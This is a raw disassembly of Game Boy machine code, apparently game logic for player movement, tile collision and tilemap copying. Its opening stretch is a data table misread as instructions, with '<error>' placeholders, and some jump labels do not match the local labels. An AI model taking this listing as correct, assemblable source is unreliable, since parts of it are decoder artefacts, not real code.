ld a, l
ld a, l
ld a, l
ld a, l
<error>
rst 28
rst 28
ld a, l
ld a, l
ld a, l
ld a, l
ld a, l
ld a, l
ld a, l
ld a, l
ld a, l
ld a, l
ld a, l
ld a, l
ld a, l
<error>
<error>
<error>
rst 28
rst 28
rst 28
ld a, l
ld a, l
ld a, l
<error>
ld a, l
ld a, l
<error>
ld a, l
ld a, l
ld a, l
rst 28
rst 28
ld a, l
ld a, l
rst 28
xor $7d
ld a, l
rst 28
ld a, l
ld a, l
ld a, l
ld a, l
rst 28
ld a, l
ld a, l
<error>
ld a, l
ld a, l
ld a, l
ld a, l
rst 28
ld a, l
ld a, l
rst 28
rst 28
rst 28
rst 28
rst 28
rst 28
ld a, l
ld a, l
ld a, l
<error>
<error>
<error>
<error>
ld a, l
ld a, l
rst 28
rst 28
<error>
rst 28
ld a, l
ld a, l
ld a, l
ld a, l
<error>
rst 28
<error>
<error>
ld a, l
ld a, l
ld a, l
ld a, l
rst 28
rst 28
rst 28
rst 28
ld a, l
ld a, l
rst 28
ld a, l
ld a, l
<error>
rst 28
ld a, l
ld a, l
rst 28
rst 28
rst 28
ld a, l
<error>
ld a, l
ld a, l
ld a, l
ld a, l
rst 28
ld a, l
ld a, l
<error>
<error>
ld a, l
ld a, l
ld a, l
rst 28
ld a, l
ld a, l
<error>
ld a, l
ld a, l
ld a, l
ld a, l
xor $7d
ld a, l
rst 28
<error>
ld a, l
ld a, l
ld a, l
rst 28
rst 28
ld a, l
ld a, l
ld a, l
ld a, l
ld a, l
ld a, l
ld a, l
ld a, l
ld a, l
ld a, l
ld a, l
<error>
rst 28
ld a, l
ld a, l
ld a, l
ld a, l
rst 28
ld a, l
rst 28
rst 28
ld a, l
<error>
ld a, l
ld a, l
xor $ef
<error>
rst 28
<error>
rst 28
ld a, l
ld a, l
rst 28
<error>
<error>
rst 28
rst 28
<error>
ld a, l
ld a, l
ld a, l
rst 28
rst 28
rst 28
<error>
ld a, l
ld a, l
ld a, l
ld a, l
<error>
rst 28
<error>
<error>
ld a, l
ld a, l
ld a, l
ld a, l
ld a, l
rst 28
<error>
ld a, l
ld a, l
ld a, l
ld a, l
rst 28
rst 28
rst 28
<error>
rst 28
ld a, l
ld a, l
ld a, l
ld a, l
ld a, l
xor $7d
rst 28
<error>
ld a, l
ld a, l
rst 28
rst 28
rst 28
rst 28
rst 28
<error>
<error>
ld a, l
ld a, l
ld a, l
ld a, l
ld a, l
rst 28
rst 28
rst 28
ld a, l
ld a, l
ld a, l
rst 28
rst 28
rst 28
rst 28
ld a, l
ld a, l
ld a, l
<error>
rst 28
rst 28
rst 28
ld a, l
ld a, l
ld a, l
ld a, l
ld a, l
<error>
rst 28
rst 28
ld a, l
ld a, l
ld a, l
ld a, l
ld a, l
ld a, l
<error>
rst 28
<error>
rst 28
ld a, l
ld a, l
ld a, l
ld a, l
ld a, l
ld a, l
ld a, l
ld a, l
<error>
ld a, l
ld a, l
ld a, l
ld a, l
ld a, l
ld a, l
<error>
rst 28
<error>
ld a, l
rst 28
rst 28
ld a, l
<error>
rst 28
rst 28
<error>
rst 28
rst 28
xor $ef
<error>
rst 28
<error>
rst 28
ld a, l
rst 28
rst 28
ld a, l
rst 28
rst 28
ld a, l
rst 28
<error>
rst 28
rst 28
rst 28
rst 28
ld a, l
ld a, l
<error>
<error>
ld a, l
ld a, l
rst 28
<error>
ld a, l
ld a, l
rst 28
rst 28
rst 28
rst 28
rst 28
rst 28
ld a, l
ld a, l
<error>
<error>
ld a, l
ld a, l
ld a, l
ld a, l
ld a, l
rst 28
rst 28
rst 28
rst 28
ld a, l
xor $ef
ld a, l
rst 28
rst 28
rst 28
<error>
ld a, l
rst 28
rst 28
ld a, l
rst 28
<error>
rst 28
rst 28
ld a, l
ld a, l
ld a, l
ld a, l
<error>
rst 28
rst 28
<error>
ld a, l
rst 28
<error>
ld a, l
rst 28
rst 28
rst 28
rst 28
rst 28
rst 28
rst 28
<error>
<error>
rst 28
rst 28
rst 28
rst 28
rst 28
rst 28
rst 28
rst 28
rst 28
rst 28
rst 28
ld a, l
rst 28
rst 28
ld a, l
ld a, l
ld a, l
ld a, l
rst 28
rst 28
ld a, l
ld a, l
ld a, l
<error>
ld a, l
ld a, l
xor $ed
ld a, l
ld a, l
<error>
rst 28
rst 28
<error>
rst 28
rst 28
<error>
rst 28
rst 28
ld a, l
<error>
rst 28
rst 28
rst 28
rst 28
rst 28
ld a, l
ld a, l
<error>
rst 28
rst 28
rst 28
rst 28
rst 28
ld a, l
rst 28
<error>
rst 28
<error>
rst 28
rst 28
rst 28
rst 28
rst 28
<error>
rst 28
rst 28
rst 28
<error>
rst 28
rst 28
<error>
ld a, l
ld a, l
rst 28
rst 28
ld a, l
ld a, l
<error>
ld a, l
<error>
<error>
ld a, l
ld a, l
ld a, l
ld a, l
ld a, l
rst 28
rst 28
rst 28
rst 28
ld a, l
ld a, l
ld a, l
ld a, l
rst 28
rst 28
rst 28
<error>
ld a, l
ld a, l
ld a, l
ld a, l
rst 28
<error>
rst 28
rst 28
ld a, l
ld a, l
ld a, l
ld a, l
<error>
rst 28
rst 28
<error>
ld a, l
rst 28
<error>
ld a, l
rst 28
rst 28
rst 28
rst 28
rst 28
xor $ef
rst 28
rst 28
rst 28
rst 28
rst 28
rst 28
rst 28
rst 28
rst 28
rst 28
rst 28
rst 28
rst 28
ld a, l
rst 28
rst 28
ld a, l
nop
ld [bc], a
inc bc
rlc a
dec b
ld a, [bc]
dec bc
rrc a
inc b
ld [$0e09], sp
ld b, $0c
dec c
ld bc, $f6f0
cp $e8
ret z
ld hl, $684b
ldh a, [$ff00 + $f7]
swap a
ld e, a
ld d, $00
sla e
rl d
sla e
rl d
add hl, de
ldh a, [$ff00 + $f7]
cp $06
jr nz, .l_aac3
ld a, [$db6b]
and $04
jr z, .l_aac3
ld hl, $6a4b
.l_aac3:
ld de, $d480
ld bc, $0040
call func_28c5
ld d, $00
ld e, $00
ld hl, $d480
add hl, de
ld a, [hl]
cp $7d
jr z, .l_ab3e
cp $ed
jr z, .l_aae1
cp $ee
jr nz, .l_aae9
.l_aae1:
ld a, [$dbcd]
and a
jr nz, .l_aaf4
ld [hl], $ef
.l_aae9:
ld a, [$dbcc]
and a
jr nz, .l_aaf4
ld [hl], $7d
jp .l_6b3e
.l_aaf4:
push de
call func_2b25
push de
pop bc
pop de
ld a, [hl]
bit 7, a
jr z, .l_ab3e
ld a, [hl]
and $0f
ld c, a
ld b, $00
ld hl, $6a8b
add hl, bc
ld a, [hl]
inc a
add a, $cf
ld c, a
ld hl, $d480
add hl, de
ld a, [hl]
cp $ee
jr z, .l_ab1c
cp $ed
jr nz, .l_ab31
.l_ab1c:
push de
push af
call func_2b25
pop af
ld e, $20
cp $ed
jr nz, .l_ab2a
ld e, $10
.l_ab2a:
ld a, [hl]
and e
pop de
cp $00
jr z, .l_ab3e
.l_ab31:
ld hl, $d480
add hl, de
ld [hl], c
ld a, [$dbcc]
and a
jr nz, .l_ab3e
ld [hl], $7d
.l_ab3e:
inc e
ld a, e
cp $40
jp nz, .l_6ad0
ret
ld a, [$dbb0]
and $30
swap a
rst 0
ld d, [hl]
ld l, e
ld e, e
ld l, e
ld h, b
ld l, e
ld h, l
ld l, e
ld hl, $9d2e
jr .l_ab68
ld hl, $9d2f
jr .l_ab68
ld hl, $9d0e
jr .l_ab68
ld hl, $9d0f
.l_ab68:
ld e, $04
jr .l_abbd
ld a, [$dbb0]
and $30
swap a
rst 0
ld a, h
ld l, e
add a, c
ld l, e
add a, [hl]
ld l, e
adc a, e
ld l, e
ld hl, $9dae
jr .l_ab8e
ld hl, $9daf
jr .l_ab8e
ld hl, $9dae
jr .l_ab8e
ld hl, $9daf
.l_ab8e:
ld e, $24
jr .l_abbd
ld a, [$dbb0]
and $30
swap a
rst 0
and d
ld l, e
and a
ld l, e
xor h
ld l, e
or c
ld l, e
ld hl, $9d2a
jr .l_abb4
ld hl, $9d2a
jr .l_abb4
ld hl, $9d0a
jr .l_abb4
ld hl, $9d0a
.l_abb4:
ld e, $00
jr .l_abbd
ld hl, $9daa
ld e, $20
.l_abbd:
ld c, $00
ld d, c
.l_abc0:
push hl
ld hl, $d480
add hl, de
ld a, [hl]
pop hl
ld [hl], a
inc e
inc c
ld a, c
cp $10
jr z, .l_abe2
inc hl
and $03
jr nz, .l_abc0
ld a, e
add a, $04
ld e, a
ld a, l
add a, $1c
ld l, a
ld a, $00
adc a, h
ld h, a
jr .l_abc0
.l_abe2:
ret
nop
ld [$00f8], sp
ldh a, [$ff00 + $10]
nop
stop
ldh a, [$ff00 + $ff]
nop
ld bc, $46fa
pop bc
and a
jr nz, .l_abff
ldh a, [$ff00 + $a1]
cp $01
jr z, .l_ac1b
cp $02
jr z, .l_ac1b
.l_abff:
ld a, [$c13e]
and a
jr z, .l_ac1c
dec a
ld [$c13e], a
call func_20d6
call func_6fb1
ldh a, [$ff00 + $9c]
cp $02
jr z, .l_ac1b
ldh a, [$ff00 + $9b]
add a, $03
ldh [$ff00 + $9b], a
.l_ac1b:
ret
.l_ac1c:
ldh a, [$ff00 + $9c]
rst 0
ldd a, [hl]
ld l, l
jp c, .l_486c
ld l, h
nop
ld [$00f8], sp
nop
ld b, $fa
nop
nop
ld b, $fa
nop
nop
nop
nop
nop
nop
nop
nop
nop
ldhl sp, d
ld a, [$00fa]
ld [$0606], sp
nop
nop
nop
nop
nop
nop
nop
ld bc, $f7f0
cp $07
jr nz, .l_ac63
call func_79d9
ld a, [$db94]
add a, $04
ld [$db94], a
ld a, $03
ldh [$ff00 + $f3], a
ld a, $80
ld [$dbc7], a
ret
.l_ac63:
ld a, [$db0c]
and a
jp z, $79d9
ld hl, $ff9e
res 1, [hl]
call func_0942
ld [$c146], a
ldh a, [$ff00 + $e7]
and $01
jr nz, .l_aca6
ldh a, [$ff00 + $cb]
and $0f
ld e, a
ld d, $00
ld hl, $6c25
add hl, de
ld a, [hl]
ld hl, $ff9a
sub a, [hl]
jr z, .l_ac94
inc [hl]
bit 7, a
jr z, .l_ac94
dec [hl]
dec [hl]
.l_ac94:
ld hl, $6c35
add hl, de
ld a, [hl]
ld hl, $ff9b
sub a, [hl]
jr z, .l_aca6
inc [hl]
bit 7, a
jr z, .l_aca6
dec [hl]
dec [hl]
.l_aca6:
ld hl, $c120
inc [hl]
ldh a, [$ff00 + $cb]
and $03
jr z, .l_acba
ld e, a
ld d, $00
ld hl, $6c45
add hl, de
ld a, [hl]
ldh [$ff00 + $9e], a
.l_acba:
call func_20d6
call func_6fb1
ld a, [$c14f]
and a
ret nz
ldh a, [$ff00 + $d7]
cp $b0
jr z, .l_acd6
cp $b1
jr nz, .l_acd3
ld a, $01
jr .l_acd4
.l_acd3:
xor a
.l_acd4:
ldh [$ff00 + $9c], a
.l_acd6:
call func_6e8f
ret
call func_0942
ld [$c146], a
ld [$c153], a
ld [$c152], a
ldh a, [$ff00 + $cb]
and $03
ld e, a
ld d, $00
ld hl, $6be3
add hl, de
ld a, [hl]
ldh [$ff00 + $9a], a
ldh a, [$ff00 + $cb]
rr a
rr a
and $03
ld e, a
ld hl, $6be6
add hl, de
ld a, [hl]
ldh [$ff00 + $9b], a
ld a, $02
ldh [$ff00 + $9e], a
ldh a, [$ff00 + $cb]
and $0f
jr z, .l_ad10
ld hl, $c120
inc [hl]
.l_ad10:
call func_20d6
call func_6fb1
ld a, [$c14f]
and a
ret nz
ldh a, [$ff00 + $d7]
cp $b1
jr z, .l_ad2c
cp $b0
jr nz, .l_ad29
ld a, $02
jr .l_ad2a
.l_ad29:
xor a
.l_ad2a:
ldh [$ff00 + $9c], a
.l_ad2c:
call func_6e8f
ld a, [$c133]
and $08
jr z, .l_ad39
xor a
ldh [$ff00 + $9c], a
.l_ad39:
ret
ldh a, [$ff00 + $f7]
cp $06
jr nz, .l_ad5d
ldh a, [$ff00 + $f6]
cp $f8
jr nz, .l_ad5d
ld a, [$c146]
and a
jr nz, .l_ad5d
ldh a, [$ff00 + $98]
sub a, $46
add a, $04
cp $08
jr nc, .l_ad5d
ldh a, [$ff00 + $cc]
and $04
jp nz, .l_0909
.l_ad5d:
ld a, [$c14a]
and a
jr z, .l_ad85
ldh a, [$ff00 + $cc]
and $0f
jr nz, .l_ad77
ld a, [$c120]
add a, $02
ld [$c120], a
call func_145d
jp .l_6e14
.l_ad77:
ld [$c19a], a
ld a, [$c199]
add a, $0c
ld [$c199], a
call func_093b
.l_ad85:
ld a, [$c147]
and a
jr nz, .l_adcd
ld a, [$c133]
and $08
jr nz, .l_adcd
ld a, [$c146]
and a
jr nz, .l_ad9d
ld a, $01
ld [$c146], a
.l_ad9d:
ld a, $0a
ld [$c120], a
ldh a, [$ff00 + $9a]
and a
jr z, .l_adac
rlc a
and $01
ldh [$ff00 + $9e], a
.l_adac:
ldh a, [$ff00 + $cb]
and $03
jr z, .l_adcb
ld e, a
ld d, $00
ld hl, $6be9
add hl, de
ldh a, [$ff00 + $9a]
sub a, [hl]
jr z, .l_adcb
ld e, $01
bit 7, a
jr nz, .l_adc6
ld e, $ff
.l_adc6:
ldh a, [$ff00 + $9a]
add a, e
ldh [$ff00 + $9a], a
.l_adcb:
jr .l_ae14
.l_adcd:
ld a, [$c146]
and a
jr z, .l_ade3
ld a, $07
ldh [$ff00 + $f4], a
call func_0942
ld [$c146], a
ld [$c152], a
ld [$c153], a
.l_ade3:
ldh a, [$ff00 + $cb]
and $03
ld e, a
ld d, $00
ld hl, $6be9
add hl, de
ld a, [hl]
ldh [$ff00 + $9a], a
ld hl, $6bec
add hl, de
ld a, [hl]
cp $ff
jr z, .l_ae0a
ld e, a
ld a, [$c16e]
and a
jr nz, .l_ae04
ld a, e
ldh [$ff00 + $9e], a
.l_ae04:
ld hl, $c120
inc [hl]
jr .l_ae14
.l_ae0a:
ld a, [$c14b]
and a
jr nz, .l_ae14
xor a
ld [$c120], a
.l_ae14:
ld a, [$c137]
and a
jr nz, .l_ae1f
ldh a, [$ff00 + $a1]
and a
jr nz, .l_ae35
.l_ae1f:
call func_20d6
ld hl, $ff9e
ldh a, [$ff00 + $cb]
and $0f
cp $04
jr nz, .l_ae2f
ld [hl], $02
.l_ae2f:
cp $08
jr nz, .l_ae35
ld [hl], $03
.l_ae35:
call func_6fb1
ld a, [$c14f]
and a
ret nz
ldh a, [$ff00 + $d7]
cp $b1
jr z, .l_ae63
cp $b0
jr nz, .l_ae6d
ld a, [$c133]
and a
jr nz, .l_ae5f
ld a, [$dbc7]
and a
jr nz, .l_ae58
ld a, $02
call func_571b
.l_ae58:
ld a, $04
ldh [$ff00 + $9b], a
xor a
ldh [$ff00 + $9a], a
.l_ae5f:
ld a, $02
jr .l_ae6b
.l_ae63:
ldh a, [$ff00 + $cb]
and $0c
jr z, .l_ae6d
ld a, $01
.l_ae6b:
ldh [$ff00 + $9c], a
.l_ae6d:
ld hl, $ff9b
ld a, [hl]
sub a, $40
and $80
jr z, .l_ae8f
inc [hl]
ldh a, [$ff00 + $9b]
and $80
jr z, .l_ae8e
ld e, $20
ld a, [$db00]
cp $0a
jr z, .l_ae89
ld e, $10
.l_ae89:
ldh a, [$ff00 + $cb]
and e
jr nz, .l_ae8f
.l_ae8e:
inc [hl]
.l_ae8f:
ret
ld bc, $0402
ld [$0b10], sp
dec b
ld [$0808], sp
ld [$0408], sp
stop
dec bc
ld c, $04
ld b, $00
call func_6f6b
ldh a, [$ff00 + $d8]
ldh [$ff00 + $d7], a
xor a
ld [$c133], a
ld c, $00
ldh a, [$ff00 + $9a]
and a
jr z, .l_aedb
and $80
jr z, .l_aeba
inc c
.l_aeba:
call func_6f6b
ldh a, [$ff00 + $af]
cp $8a
jr nz, .l_aed2
ld a, [$c5a6]
and a
jr nz, .l_aed2
inc a
ld [$c5a6], a
ld a, $51
call func_2197
.l_aed2:
ldh a, [$ff00 + $af]
cp $ff
jr nz, .l_aedb
call func_6fa5
.l_aedb:
ld c, $02
ldh a, [$ff00 + $9b]
and a
and $80
jr nz, .l_aee5
inc c
.l_aee5:
call func_6f6b
ldh a, [$ff00 + $9b]
and $80
jr nz, .l_af0a
ldh a, [$ff00 + $cb]
and $08
jr nz, .l_af0a
ldh a, [$ff00 + $e9]
and $0f
cp $03
jr nc, .l_af0a
ldh a, [$ff00 + $af]
cp $62
jr z, .l_af11
cp $64
jr z, .l_af11
cp $66
jr z, .l_af11
.l_af0a:
ld a, [$c133]
and $08
jr z, .l_af24
.l_af11:
ld a, [$c133]
or $08
ld [$c133], a
xor a
ldh [$ff00 + $9b], a
ldh a, [$ff00 + $99]
and $f0
add a, $00
ldh [$ff00 + $99], a
.l_af24:
ld a, [$c133]
and $04
jr z, .l_af2f
ldh a, [$ff00 + $a0]
ldh [$ff00 + $99], a
.l_af2f:
ld a, [$c133]
and $03
jr z, .l_af6a
ldh a, [$ff00 + $9f]
ldh [$ff00 + $98], a
ld a, [$c14a]
and a
jr z, .l_af6a
call func_093b
ldh a, [$ff00 + $9a]
cpl
inc a
sra a
sra a
ldh [$ff00 + $9a], a
ld a, $e8
ldh [$ff00 + $9b], a
call func_20d6
call func_6fb1
ld a, $20
ld [$c157], a
ldh a, [$ff00 + $9e]
and $02
sla a
ld [$c158], a
ld a, $0b
ldh [$ff00 + $f2], a
ret
.l_af6a:
ret
ld hl, $6e95
add hl, bc
ldh a, [$ff00 + $98]
sub a, $08
add a, [hl]
swap a
and $0f
ld e, a
ld hl, $6e9a
add hl, bc
ldh a, [$ff00 + $99]
add a, [hl]
sub a, $10
ldh [$ff00 + $e9], a
and $f0
or e
ld e, a
ld d, $00
ld hl, $d711
ld a, h
add hl, de
ld h, a
ld a, [hl]
ldh [$ff00 + $af], a
ld e, a
ld a, [$dba5]
ld d, a
call func_29db
ldh [$ff00 + $d8], a
cp $60
jr z, .l_afa5
cp $01
jr nz, .l_afb0
.l_afa5:
ld hl, $6e90
add hl, bc
ld a, [$c133]
or [hl]
ld [$c133], a
.l_afb0:
ret
ld a, [$c19f]
ld hl, $c14f
or [hl]
ret nz
ldh a, [$ff00 + $f7]
cp $1f
jr nz, .l_afd5
ldh a, [$ff00 + $f9]
and a
jr z, .l_afd5
ldh a, [$ff00 + $f6]
cp $eb
jr z, .l_afce
cp $ec
jr nz, .l_afd5
.l_afce:
ldh a, [$ff00 + $99]
cp $2c
jp c, .l_0909
.l_afd5:
ld e, $02
ldh a, [$ff00 + $99]
cp $0c
jr c, .l_aff2
inc e
cp $84
jr nc, .l_aff2
ld e, $01
ldh a, [$ff00 + $98]
cp $04
jr c, .l_b04f
dec e
cp $9c
jr nc, .l_b04f
jp .l_7142
.l_aff2:
ldh a, [$ff00 + $f9]
and a
jr nz, .l_b00d
ldh a, [$ff00 + $f7]
cp $1f
jp nz, .l_7098
ldh a, [$ff00 + $f6]
cp $f5
jp z, .l_0909
cp $f2
jp nz, .l_7098
jp .l_0909
.l_b00d:
ldh a, [$ff00 + $f6]
cp $e8
jp z, .l_7098
cp $f8
jp z, .l_7098
cp $fd
jr z, .l_b03c
cp $a3
jp z, .l_0909
cp $c0
jp z, .l_0909
cp $c1
jp z, .l_0909
cp $ff
jr nz, .l_b046
ldh a, [$ff00 + $99]
cp $50
jr nc, .l_b03c
ld a, [$c280]
and a
jr z, .l_b098
.l_b03c:
ldh a, [$ff00 + $a0]
ldh [$ff00 + $99], a
xor a
ldh [$ff00 + $9b], a
jp .l_7142
.l_b046:
ldh a, [$ff00 + $9c]
cp $02
jr z, .l_b098
jp .l_0909
.l_b04f:
ldh a, [$ff00 + $9f]
ldh [$ff00 + $98], a
xor a
ldh [$ff00 + $9a], a
ldh a, [$ff00 + $f9]
and a
jr z, .l_b098
ldh a, [$ff00 + $f6]
cp $f5
jp z, $090f
cp $fd
jp z, $090f
cp $e9
jp z, .l_0909
cp $e8
jp z, .l_7142
cp $f8
jp z, .l_7142
cp $ef
jp z, .l_7142
cp $ff
jp z, .l_7142
cp $c0
jr nz, .l_b08d
ldh a, [$ff00 + $98]
cp $30
jp c, .l_7142
jr .l_b098
.l_b08d:
cp $c1
jr nz, .l_b098
ldh a, [$ff00 + $98]
cp $50
jp nc, .l_7142
.l_b098:
call func_094a
ld a, [$c181]
cp $50
jp z, .l_7146
cp $51
jp z, .l_7146
ld a, [$c11f]
cp $07
jp z, .l_7146
ld a, [$c11c]
cp $06
jp z, .l_7146
ldh a, [$ff00 + $f9]
and a
jr nz, .l_b0c4
ld a, [$c146]
and a
jp nz, .l_7146
.l_b0c4:
ld a, [$c14a]
and a
jr nz, .l_b0d0
ld a, [$c16d]
and a
jr nz, .l_b146
.l_b0d0:
ld a, [$c13e]
ld hl, $c157
or [hl]
jr nz, .l_b146
ldh a, [$ff00 + $99]
cp $88
jr nc, .l_b108
ld a, [$c14a]
ld hl, $fff9
or [hl]
ld hl, $ffb2
or [hl]
jr nz, .l_b108
ldh a, [$ff00 + $cb]
and $0f
jr z, .l_b146
and $03
jr z, .l_b0fa
dec a
cp e
jr z, .l_b108
.l_b0fa:
ldh a, [$ff00 + $cb]
rr a
rr a
and $03
jr z, .l_b146
dec a
add a, $02
cp e
jr nz, .l_b146
.l_b108:
ldh a, [$ff00 + $f6]
cp $e8
jr nz, .l_b120
ldh a, [$ff00 + $f7]
cp $1f
jr z, .l_b120
ld a, [$dba5]
and a
jr z, .l_b120
xor a
ld [$c1bf], a
ldh [$ff00 + $43], a
.l_b120:
ld a, e
ld [$c125], a
ld a, $01
ld [$c124], a
xor a
ld [$c14b], a
ld [$c121], a
ld [$c14a], a
ldh a, [$ff00 + $99]
cp $88
jr c, .l_b142
ld a, $02
ld [$c146], a
ld a, $08
ldh [$ff00 + $a2], a
.l_b142:
call func_7180
ret
.l_b146:
call func_1495
ld [$c13e], a
call func_7180
.l_b14f:
ret
ld b, $09
dec bc
dec bc
ld b, $09
inc b
inc b
ld b, $06
add hl, bc
inc c
rrc a
rrc a
add hl, bc
inc c
inc b
nop
ld [bc], a
ld b, $01
ld [bc], a
inc b
ld [$0201], sp
inc b
ld [$0202], sp
nop
nop
inc bc
inc bc
ld bc, $0001
ld bc, $00ff
stop
ldh a, [$ff00 + $00]
nop
nop
nop
ldh a, [$ff00 + $10]
ld hl, $c10a
ld a, [$c17b]
or [hl]
jr nz, .l_b14f
ldh a, [$ff00 + $f9]
and a
jr z, .l_b192
call func_6e9f
ret
.l_b192:
xor a
ld [$c133], a
ldh a, [$ff00 + $9b]
cp $00
jr z, .l_b21a
ld e, $03
rl a
ld bc, $7160
jr nc, .l_b1a6
dec e
inc bc
.l_b1a6:
ld a, e
ldh [$ff00 + $e3], a
ld e, $02
ld a, [bc]
ld c, a
ld b, $00
.l_b1af:
push de
push bc
call func_726a
pop bc
pop de
inc bc
dec e
jr nz, .l_b1af
ldh a, [$ff00 + $9b]
and $80
jr nz, .l_b203
ld a, [$dba5]
and a
jr nz, .l_b203
ldh a, [$ff00 + $af]
cp $e9
jr nz, .l_b203
ld a, [$db0c]
and a
jr z, .l_b203
ld a, [$c5a8]
cp $d5
jr z, .l_b203
ld a, [$c11c]
cp $02
jr z, .l_b21a
ld a, $08
ldh [$ff00 + $f2], a
jr .l_b1f2
ld a, $08
ldh [$ff00 + $f2], a
ldh a, [$ff00 + $98]
and $f0
add a, $08
ldh [$ff00 + $98], a
.l_b1f2:
ld a, $02
ld [$c11c], a
xor a
ldh [$ff00 + $9c], a
ldh a, [$ff00 + $99]
sub a, $08
ldh [$ff00 + $99], a
jp $0942
.l_b203:
ld a, [$c133]
and $03
jr z, .l_b21a
ld e, a
ld d, $00
ld hl, $7174
add hl, de
ldh a, [$ff00 + $98]
add a, [hl]
ldh [$ff00 + $98], a
ldh a, [$ff00 + $a0]
ldh [$ff00 + $99], a
.l_b21a:
ldh a, [$ff00 + $9a]
cp $00
jr z, .l_b259
ld e, $00
rl a
ld bc, $7162
jr nc, .l_b22a
inc e
inc bc
.l_b22a:
ld a, e
ldh [$ff00 + $e3], a
ld e, $02
ld a, [bc]
ld c, a
ld b, $00
.l_b233:
push de
push bc
call func_726a
pop bc
pop de
inc bc
dec e
jr nz, .l_b233
ld a, [$c133]
and $0c
jr z, .l_b259
srl a
srl a
ld e, a
ld d, $00
ld hl, $7174
add hl, de
ldh a, [$ff00 + $99]
add a, [hl]
ldh [$ff00 + $99], a
ldh a, [$ff00 + $9f]
ldh [$ff00 + $98], a
.l_b259:
ld a, [$c133]
and a
jr nz, .l_b262
ld [$c1c3], a
.l_b262:
call func_7769
ret
ld bc, $0402
ld [$5021], sp
ld [hl], c
add hl, bc
ldh a, [$ff00 + $98]
sub a, $08
add a, [hl]
ldh [$ff00 + $db], a
swap a
and $0f
ld e, a
ld hl, $7158
add hl, bc
ldh a, [$ff00 + $99]
add a, [hl]
sub a, $10
ldh [$ff00 + $dc], a
and $f0
or e
ld e, a
ldh [$ff00 + $e9], a
ld d, $00
ld hl, $d711
ld a, h
add hl, de
ld h, a
ld a, [hl]
ldh [$ff00 + $af], a
ld e, a
ld a, [$dba5]
ld d, a
call func_29db
ldh [$ff00 + $e4], a
and a
jp z, .l_771c
cp $01
jp z, .l_75b1
cp $02
jp z, .l_759a
cp $03
jp z, .l_74f9
cp $10
jp z, .l_74da
cp $04
jp z, .l_7577
cp $30
jp z, .l_75b1
cp $60
jp z, .l_75b1
cp $0a
jp z, .l_759a
cp $ff
jp z, .l_771c
cp $e0
jp z, .l_771c
cp $f0
jp nc, .l_771c
cp $c0
jp nz, .l_7383
ldh a, [$ff00 + $9e]
cp $02
jp nz, .l_7379
ldh a, [$ff00 + $f8]
bit 4, a
jp nz, .l_7379
ldh a, [$ff00 + $f6]
cp $0e
jr nz, .l_b2fb
ld a, [$db14]
ld e, $33
jr .l_b304
.l_b2fb:
cp $8c
jr nz, .l_b321
ld a, [$db13]
ld e, $34
.l_b304:
and a
jr z, .l_b37c
ldh a, [$ff00 + $f6]
cp $8c
jr nz, .l_b312
call func_27d2
jr .l_b315
.l_b312:
call func_525b
.l_b315:
ld a, $28
call func_3c01
ld hl, $c2c0
add hl, de
inc [hl]
jr .l_b36a
.l_b321:
cp $2b
jr nz, .l_b33c
ld a, [$db12]
and a
ld e, $32
jr z, .l_b37c
call func_27d2
ld a, $5f
call func_3c01
ld hl, $c440
add hl, de
dec [hl]
jr .l_b36a
.l_b33c:
cp $b5
jr nz, .l_b34b
ld a, [$db15]
cp $06
ld e, $31
jr nz, .l_b37c
jr .l_b353
.l_b34b:
ld a, [$db11]
and a
ld e, $30
jr z, .l_b37c
.l_b353:
ldh a, [$ff00 + $99]
ldh [$ff00 + $d8], a
ldh a, [$ff00 + $98]
ldh [$ff00 + $d7], a
ld a, $09
call func_0953
ld [hl], $df
ld a, $df
ld [$c111], a
call func_27d2
.l_b36a:
ld hl, $d800
ldh a, [$ff00 + $f6]
ld e, a
ld d, $00
add hl, de
ld a, [hl]
or $10
ld [hl], a
ldh [$ff00 + $f8], a
jp .l_75b1
.l_b37c:
ld a, e
call func_77c4
jp .l_75b1
ldh a, [$ff00 + $af]
cp $db
jr nz, .l_b391
ld a, [$c11c]
cp $01
jp z, .l_75b1
.l_b391:
ldh a, [$ff00 + $e4]
cp $d0
jp c, .l_741d
cp $d4
jp nc, .l_741d
sub a, $d0
ld e, a
ld a, [$dba5]
and a
jr nz, .l_b3c3
ld a, e
cp $00
jr nz, .l_b3b6
ldh a, [$ff00 + $db]
and $0f
cp $08
jp c, .l_771c
jr .l_b3c3
.l_b3b6:
cp $01
jr nz, .l_b3c3
ldh a, [$ff00 + $db]
and $0f
cp $08
jp nc, .l_771c
.l_b3c3:
ld d, $00
ldh a, [$ff00 + $9e]
cp e
jp nz, .l_7416
ld a, [$c13e]
ld hl, $c121
or [hl]
ld hl, $d45e
or [hl]
jr nz, .l_b416
ld a, [$c14a]
and a
jr nz, .l_b3f3
ld hl, $7266
add hl, de
ldh a, [$ff00 + $cb]
and [hl]
jr z, .l_b416
ld a, [$c191]
inc a
ld [$c191], a
cp $0c
jp c, .l_75b1
.l_b3f3:
call func_0942
ld hl, $7178
add hl, de
ld a, [hl]
ldh [$ff00 + $9a], a
ld hl, $717c
add hl, de
ld a, [hl]
ldh [$ff00 + $9b], a
ld a, $1c
ldh [$ff00 + $a3], a
ld a, $01
ld [$c146], a
ld a, $01
ld [$c10a], a
ld a, $08
ldh [$ff00 + $f2], a
.l_b416:
xor a
ld [$c191], a
jp .l_75b1
cp $90
jp c, .l_749d
cp $99
jp nc, .l_75b1
sub a, $90
ld e, a
ld d, $00
bit 1, a
jr nz, .l_b441
ld hl, $c1d0
add hl, de
ld e, [hl]
ldh a, [$ff00 + $98]
sub a, e
sub a, $0c
cp $08
jp nc, .l_75b1
jr .l_b450
.l_b441:
ld hl, $c1e0
add hl, de
ld e, [hl]
ldh a, [$ff00 + $99]
sub a, e
sub a, $14
cp $08
jp nc, .l_75b1
.l_b450:
ld a, [$c188]
and a
jp nz, .l_75b1
ldh a, [$ff00 + $e4]
cp $94
jr nc, .l_b46a
ld a, [$dbd0]
and a
jp z, .l_75b1
dec a
ld [$dbd0], a
jr .l_b485
.l_b46a:
cp $98
jr z, .l_b477
ld a, [$c18e]
and a
jr z, .l_b485
jp .l_75b1
.l_b477:
ld a, [$dbcf]
and a
jr nz, .l_b485
ld a, $07
call func_77be
jp .l_75b1
.l_b485:
ldh a, [$ff00 + $e4]
sub a, $90
ld [$c189], a
xor a
ld [$dbac], a
inc a
ld [$c188], a
call func_27e2
call func_525b
jp .l_75b1
cp $7c
jp c, .l_771c
push af
jr z, .l_b4a9
cp $7d
jr nz, .l_b4ac
.l_b4a9:
call func_7723
.l_b4ac:
pop af
cp $90
jp nc, .l_771c
sub a, $7c
sla a
sla a
ld e, a
ld d, $00
ld hl, $4979
